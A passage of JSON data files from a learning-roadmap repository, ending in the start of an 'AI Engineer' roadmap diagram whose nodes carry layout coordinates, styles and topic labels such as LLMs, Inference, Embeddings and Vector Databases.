    "content": "{\n  \"linear-algebra-calc-mathana\": \"gWMvD83hVXeTmCuHGIiOL\",\n  \"stats-clt\": \"Y9YJdARIRqqCBCy3GVYdA\",\n  \"hypothesis-testing\": \"XJXIkWVDIrPJ-bVIvX0ZO\",\n  \"probability-sampling\": \"jxJtwbiCvxHqmkWkE7zdx\",\n  \"ab-testing\": \"mJq9b50MJM9o9dLhx40iN\",\n  \"increasing-test-sensitivity\": \"v68nwX914qCwHDSwY_ZhG\",\n  \"ratio-metrics\": \"n2JFGwFxTuOviW6kHO1Uv\",\n  \"data-understanding\": \"JaN8YhMeN3whAe2TCXvw9\",\n  \"classic-advanced-ml\": \"FdBih8tlGPPy97YWq463y\",\n  \"deployment-models\": \"uPzzUpI0--7OWDfNeBIjt\",\n  \"fully-connected-nn\": \"eOFoGKveaHaBm_6ppJUtA\",\n  \"learn-sql\": \"Im0tXXn3GC-FUq2aMHgwm\",\n  \"learn-dsa\": \"StBCykpzpM4g9PRFeSNXa\",\n  \"learn-python\": \"MVrAqizgkoAs2aghN8TgV\",\n  \"regression-time-series-fitting-distr\": \"h19k9Fn5XPh3_pKEC8Ftp\",\n  \"econometrics-pre-req\": \"y6xXsc-uSAmRDnNuyhqH2\",\n  \"diff-calculus\": \"mwPJh33MEUQ4Co_LiVEOb\"\n}\n"
  },
  {
    "path": "src/data/roadmaps/ai-engineer/ai-engineer.json",
    "content": "{\n  \"nodes\": [\n    {\n      \"id\": \"xgDW3VKPFxsHzV37ZEBtt\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": 61.5,\n        \"y\": -100.15106699547101\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Pre-requisites (One of these)\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"borderColor\": \"#000000\",\n          \"backgroundColor\": \"#ffffff\",\n          \"color\": \"#000000\",\n          \"textAlign\": \"center\",\n          \"justifyContent\": \"flex-start\",\n          \"padding\": 16\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 389,\n      \"height\": 124,\n      \"positionAbsolute\": {\n        \"x\": 61.5,\n        \"y\": -100.15106699547101\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 389,\n        \"height\": 124\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 389,\n        \"height\": 124\n      }\n    },\n    {\n      \"id\": \"2d12fAvrDGrpBHvIbT2c0\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": 60.5,\n        \"y\": 40.33286386694641\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Scrimba is offering 20% off to roadmap users on their AI Engineer course that covers this roadmap in depth. Check them out!\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"borderColor\": \"#000000\",\n          \"backgroundColor\": \"#ffffff\",\n          \"color\": \"#000000\",\n          \"textAlign\": \"center\",\n          \"justifyContent\": \"flex-start\",\n          \"padding\": 16\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 389,\n      \"height\": 166,\n      \"positionAbsolute\": {\n        \"x\": 60.5,\n        \"y\": 40.33286386694641\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 389,\n        \"height\": 166\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 389,\n        \"height\": 166\n      }\n    },\n    {\n      \"id\": \"f7f_Pt8Ymq65FYDn0RTx0\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 567.6567530029688,\n        \"y\": 3212.4007482223487\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 98,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 98\n      },\n      \"positionAbsolute\": {\n        \"x\": 567.6567530029688,\n        \"y\": 3212.4007482223487\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 98\n      }\n    },\n    {\n      \"id\": \"cWm7uchA7HllHWHMET2Qy\",\n      \"type\": \"horizontal\",\n      \"position\": {\n        \"x\": 730,\n        \"y\": 2957.9007482223487\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"horizontal node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 108,\n      \"height\": 20,\n      \"style\": {\n        \"width\": 108,\n        \"height\": 20\n      },\n      \"positionAbsolute\": {\n        \"x\": 730,\n        \"y\": 2957.9007482223487\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 108,\n        \"height\": 20\n      }\n    },\n    {\n      \"id\": \"mag6fPpJF15RiIN9eAlE9\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": 837.4985923959754,\n        \"y\": 2922.9007482223487\n      },\n      \"width\": 308,\n      \"height\": 376,\n      \"style\": {\n        \"width\": 308,\n        \"height\": 376\n      },\n      \"selected\": true,\n      \"data\": {\n        \"style\": {\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"positionAbsolute\": {\n        \"x\": 837.4985923959754,\n        \"y\": 2922.9007482223487\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 308,\n        \"height\": 376\n      }\n    },\n    {\n      \"id\": \"P2fcMXV6vhm6MMMiBmy3r\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": 64.99859239597538,\n        \"y\": 2997.4007482223487\n      },\n      \"width\": 279,\n      \"height\": 376,\n      \"style\": {\n        \"width\": 279,\n        \"height\": 376\n      },\n      \"selected\": true,\n      \"data\": {\n        \"style\": {\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"positionAbsolute\": {\n        \"x\": 64.99859239597538,\n        \"y\": 2997.4007482223487\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 279,\n        \"height\": 376\n      }\n    },\n    {\n      \"id\": \"k8QYMT_d6EQWDqDgnPYsT\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": 840.3202732289765,\n        \"y\": 2655.9840127727616\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"width\": 150,\n          \"height\": 100,\n          \"fontSize\": 17,\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"zIndex\": -999,\n      \"width\": 297,\n      \"height\": 216,\n      \"style\": {\n        \"width\": 297,\n        \"height\": 216\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 840.3202732289765,\n        \"y\": 2655.9840127727616\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 297,\n        \"height\": 216\n      }\n    },\n    {\n      \"id\": \"Lk-hBhJoaDCs6Dzq0d0I2\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 570,\n        \"y\": 2652.7263937544244\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 117,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 117\n      },\n      \"positionAbsolute\": {\n        \"x\": 570,\n        \"y\": 2652.7263937544244\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 117\n      }\n    },\n    {\n      \"id\": \"1_t82YAvkh8SCiyU_Otp8\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 677,\n        \"y\": 2288.715898273103\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 1110,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 1110\n      },\n      \"positionAbsolute\": {\n        \"x\": 677,\n        \"y\": 2288.715898273103\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 1110\n      }\n    },\n    {\n      \"id\": \"RSb6002qr_JXVKuIq40z2\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": 838.3356614935651,\n        \"y\": 2442.7243958663935\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"width\": 150,\n          \"height\": 100,\n          \"fontSize\": 17,\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"zIndex\": -999,\n      \"width\": 297,\n      \"height\": 186,\n      \"style\": {\n        \"width\": 297,\n        \"height\": 186\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 838.3356614935651,\n        \"y\": 2442.7243958663935\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 297,\n        \"height\": 186\n      }\n    },\n    {\n      \"id\": \"zK_H4vmJXmyLYu1gVfhYK\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": 838.7247553252009,\n        \"y\": 2126.715898273103\n      },\n      \"width\": 297,\n      \"height\": 331,\n      \"style\": {\n        \"width\": 297,\n        \"height\": 331\n      },\n      \"selected\": true,\n      \"data\": {\n        \"style\": {\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"positionAbsolute\": {\n        \"x\": 838.7247553252009,\n        \"y\": 2126.715898273103\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 297,\n        \"height\": 331\n      }\n    },\n    {\n      \"id\": \"P7hG9GgyNRlmofosVs3ky\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 88.5,\n        \"y\": 2319.227661473262\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        },\n        \"oldId\": \"hHhz7UIZIFgubv6pn5iKn\"\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 60,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 60\n      },\n      \"positionAbsolute\": {\n        \"x\": 88.5,\n        \"y\": 2319.227661473262\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 60\n      }\n    },\n    {\n      \"id\": \"1C4ZyHDYbp-ykYMBgGCgJ\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 256.93627316762456,\n        \"y\": 2145.4100232103433\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 104,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 104\n      },\n      \"positionAbsolute\": {\n        \"x\": 256.93627316762456,\n        \"y\": 2145.4100232103433\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 104\n      }\n    },\n    {\n      \"id\": \"hHhz7UIZIFgubv6pn5iKn\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 88.5,\n        \"y\": 2008.0927158417944\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 226,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 226\n      },\n      \"positionAbsolute\": {\n        \"x\": 88.5,\n        \"y\": 2008.0927158417944\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 226\n      }\n    },\n    {\n      \"id\": \"qrUpems5ggl3QG6PU5B9R\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": 63.77391817001211,\n        \"y\": 2735.4283305550825\n      },\n      \"width\": 279,\n      \"height\": 164,\n      \"style\": {\n        \"width\": 279,\n        \"height\": 164\n      },\n      \"selected\": true,\n      \"data\": {\n        \"style\": {\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"positionAbsolute\": {\n        \"x\": 63.77391817001211,\n        \"y\": 2735.4283305550825\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 279,\n        \"height\": 164\n      }\n    },\n    {\n      \"id\": \"UtzHMjmoyxrD9wHWWyfKI\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": 63.77391817001211,\n        \"y\": 2412.7263937544244\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"width\": 150,\n          \"height\": 100,\n          \"fontSize\": 17,\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"zIndex\": -999,\n      \"width\": 279,\n      \"height\": 331,\n      \"style\": {\n        \"width\": 279,\n        \"height\": 331\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 63.77391817001211,\n        \"y\": 2412.7263937544244\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 279,\n        \"height\": 331\n      }\n    },\n    {\n      \"id\": \"4P2Sbyy2cVjOrXH75Hc2b\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": 487.3795624782034,\n        \"y\": 1896.0927158417944\n      },\n      \"width\": 267,\n      \"height\": 272,\n      \"style\": {\n        \"width\": 267,\n        \"height\": 272\n      },\n      \"selected\": true,\n      \"data\": {\n        \"style\": {\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"positionAbsolute\": {\n        \"x\": 487.3795624782034,\n        \"y\": 1896.0927158417944\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 267,\n        \"height\": 272\n      }\n    },\n    {\n      \"id\": \"OFEVSFDYuVn912lbBFEGV\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": 841.6087863651624,\n        \"y\": 1830.4687120415522\n      },\n      \"width\": 296,\n      \"height\": 150,\n      \"style\": {\n        \"width\": 296,\n        \"height\": 150\n      },\n      \"selected\": true,\n      \"data\": {},\n      \"positionAbsolute\": {\n        \"x\": 841.6087863651624,\n        \"y\": 1830.4687120415522\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 296,\n        \"height\": 150\n      }\n    },\n    {\n      \"id\": \"LVQKjfoO_nwMlmudTR5xf\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": 841.6087863651624,\n        \"y\": 1426.9424648726686\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"width\": 150,\n          \"height\": 100,\n          \"fontSize\": 17,\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"zIndex\": -999,\n      \"width\": 296,\n      \"height\": 372,\n      \"style\": {\n        \"width\": 296,\n        \"height\": 372\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 841.6087863651624,\n        \"y\": 1426.9424648726686\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 296,\n        \"height\": 372\n      }\n    },\n    {\n      \"id\": \"Xj67gyzaoFU0809zao-Co\",\n      \"type\": \"horizontal\",\n      \"position\": {\n        \"x\": 394.4565453870415,\n        \"y\": 1222.1146370882086\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"horizontal node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 140,\n      \"height\": 20,\n      \"style\": {\n        \"width\": 140,\n        \"height\": 20\n      },\n      \"positionAbsolute\": {\n        \"x\": 394.4565453870415,\n        \"y\": 1222.1146370882086\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 140,\n        \"height\": 20\n      }\n    },\n    {\n      \"id\": \"s9fTyULS5azkrxwnXF3ZM\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": 65.4565453870415,\n        \"y\": 1189.060087180349\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"width\": 150,\n          \"height\": 100,\n          \"fontSize\": 17,\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"zIndex\": -999,\n      \"width\": 330,\n      \"height\": 599,\n      \"style\": {\n        \"width\": 330,\n        \"height\": 599\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 65.4565453870415,\n        \"y\": 1189.060087180349\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 330,\n        \"height\": 599\n      }\n    },\n    {\n      \"id\": \"eilmLpxqlfX17bCbDDt5A\",\n      \"type\": \"horizontal\",\n      \"position\": {\n        \"x\": 676.5,\n        \"y\": 1001.400748222349\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"horizontal node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 183,\n      \"height\": 20,\n      \"style\": {\n        \"width\": 183,\n        \"height\": 20\n      },\n      \"positionAbsolute\": {\n        \"x\": 676.5,\n        \"y\": 1001.400748222349\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 183,\n        \"height\": 20\n      }\n    },\n    {\n      \"id\": \"QLCmjm7FEloKbKgZd69mp\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": 842.3618127280065,\n        \"y\": 902.900748222349\n      },\n      \"width\": 299,\n      \"height\": 217,\n      \"style\": {\n        \"width\": 299,\n        \"height\": 217\n      },\n      \"selected\": true,\n      \"data\": {\n        \"style\": {\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"positionAbsolute\": {\n        \"x\": 842.3618127280065,\n        \"y\": 902.900748222349\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 299,\n        \"height\": 217\n      }\n    },\n    {\n      \"id\": \"Nr60kOmUmudHb1H_ktoQh\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": 65.4565453870415,\n        \"y\": 784.900748222349\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"width\": 150,\n          \"height\": 100,\n          \"fontSize\": 17,\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"zIndex\": -999,\n      \"width\": 330,\n      \"height\": 378,\n      \"style\": {\n        \"width\": 330,\n        \"height\": 378\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 65.4565453870415,\n        \"y\": 784.900748222349\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 330,\n        \"height\": 378\n      }\n    },\n    {\n      \"id\": \"CVA5JJQfQbLhUpq98LxxZ\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": 65.4565453870415,\n        \"y\": 590.900748222349\n      },\n      \"width\": 330,\n      \"height\": 197,\n      \"style\": {\n        \"width\": 330,\n        \"height\": 197\n      },\n      \"selected\": true,\n      \"data\": {\n        \"style\": {\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"positionAbsolute\": {\n        \"x\": 65.4565453870415,\n        \"y\": 590.900748222349\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 330,\n        \"height\": 197\n      }\n    },\n    {\n      \"id\": \"BO_Wx-cxY7Cr4U-9x-fpD\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": 842.3618127280065,\n        \"y\": 334.40074822234897\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"width\": 150,\n          \"height\": 100,\n          \"fontSize\": 17,\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"zIndex\": -999,\n      \"width\": 299,\n      \"height\": 430,\n      \"style\": {\n        \"width\": 299,\n        \"height\": 430\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 842.3618127280065,\n        \"y\": 334.40074822234897\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 299,\n        \"height\": 430\n      }\n    },\n    {\n      \"width\": 190,\n      \"height\": 68,\n      \"id\": \"iogwMmOvub2ZF4zgg6WyF\",\n      \"type\": \"title\",\n      \"position\": {\n        \"x\": 526.5,\n        \"y\": -9.599251777651034\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"AI Engineer\",\n        \"style\": {\n          \"fontSize\": 28,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"9nxw2PEl-_eQPW0FHNPq2\"\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 526.5,\n        \"y\": -9.599251777651034\n      },\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 190,\n        \"height\": 68\n      }\n    },\n    {\n      \"width\": 203,\n      \"height\": 49,\n      \"id\": \"_hYN0gEi9BL24nptEtXWU\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 520,\n        \"y\": 253.37833957831333\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Introduction\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"c1edrcSmHO_L2e9DGh7st\"\n      },\n      \"zIndex\": 999,\n      \"style\": {\n        \"width\": 203,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 520,\n        \"y\": 253.37833957831333\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 203,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"GN6SnI7RXIeW8JeD-qORW\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 842.3618127280065,\n        \"y\": 226.40074822234897\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"What is an AI Engineer?\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 299,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 299,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 842.3618127280065,\n        \"y\": 226.40074822234897\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 299,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"jSZ1LhPdhlkW-9QJhIvFs\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 842.3618127280065,\n        \"y\": 279.40074822234897\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"AI Engineer vs ML Engineer\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 299,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 299,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 842.3618127280065,\n        \"y\": 279.40074822234897\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 299,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"wf2BSyUekr1S1q6l8kyq6\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 1011.8618127280065,\n        \"y\": 342.90074822234897\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"LLMs\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 120,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 120,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 1011.8618127280065,\n        \"y\": 342.90074822234897\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 120,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"KWjD4xEPhOOYS51dvRLd2\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 851.8618127280066,\n        \"y\": 396.40074822234897\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Inference\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"Qh4ivGbpmhhCnhAMrlpI5\"\n      },\n      \"zIndex\": 999,\n      \"width\": 280,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 280,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 851.8618127280066,\n        \"y\": 396.40074822234897\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 280,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"xostGgoaYkqMO28iN2gx8\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 851.8618127280066,\n        \"y\": 448.90074822234897\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Training\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 280,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 280,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 851.8618127280066,\n        \"y\": 448.90074822234897\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 280,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"XyEp6jnBSpCxMGwALnYfT\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 851.8618127280066,\n        \"y\": 501.40074822234897\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Embeddings\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 280,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 280,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 851.8618127280066,\n        \"y\": 501.40074822234897\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"resizing\": true,\n      \"measured\": {\n        \"width\": 280,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"LnQ2AatMWpExUHcZhDIPd\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 851.8618127280066,\n        \"y\": 553.900748222349\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Vector Databases\",\n        \"style\": 